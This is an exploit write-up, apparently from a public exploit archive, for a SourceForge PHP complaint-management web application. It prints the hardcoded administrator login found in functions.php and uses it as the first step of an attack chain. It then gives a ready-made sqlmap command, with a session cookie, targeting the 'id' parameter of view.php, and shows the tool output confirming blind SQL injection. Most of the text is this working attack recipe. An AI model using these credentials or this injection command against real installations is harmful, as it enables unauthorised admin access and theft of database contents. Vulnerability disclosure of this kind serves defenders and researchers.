# Exploit Title : Complain Management System Blind SQL Injection # Date: 10 October 2017 # Exploit Author: havysec # Tested on: ubuntu14.04 # Vendor: https://sourceforge.net/projects/complain-management-system/ # Version: not supplied # Download Software: https://sourceforge.net/projects/complain-management-system/files ## About The Product : Complain Management is a Web based project used to manage Customer's complain Online. User can login, and Create complain, view complain details and track the status of its complain. ## Vulnerability : The functions.php file line 88 has hardcoded admin credentials. elseif($uType == 'admin'){ //$_SESSION['user_id'] = $row['sid']; if($userName == 'admin' && $password == 'admin123'){ $_SESSION['user_id'] = 0; $_SESSION['user_name'] = 'Administrator'; $_SESSION['user_type'] = 'admin'; header('Location: '.WEB_ROOT.'index.php'); exit; Using the hardcoded admin credentials we then have access to the view.php file that is vulnerable to Blind SQL injection. -HTTP Method : GET - Sqlmap command: sqlmap -u 'http://192.168.1.104/view.php?mod=admin&view=repod&id=plans' --cookie="PHPSESSID=t1bc9vj67odrj3bd096g0rffe0" - Sqlmap Output : injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] [00:47:53] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql') [00:47:53] [INFO] testing 'MySQL UNION query (98) - 22 to 40 columns' [00:47:53] [INFO] testing 'MySQL UNION query (98) - 42 to 60 columns' [00:47:53] [INFO] testing 'MySQL UNION query (98) - 62 to 80 columns' [00:47:54] [INFO] testing 'MySQL UNION query (98) - 82 to 100 columns' GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)?
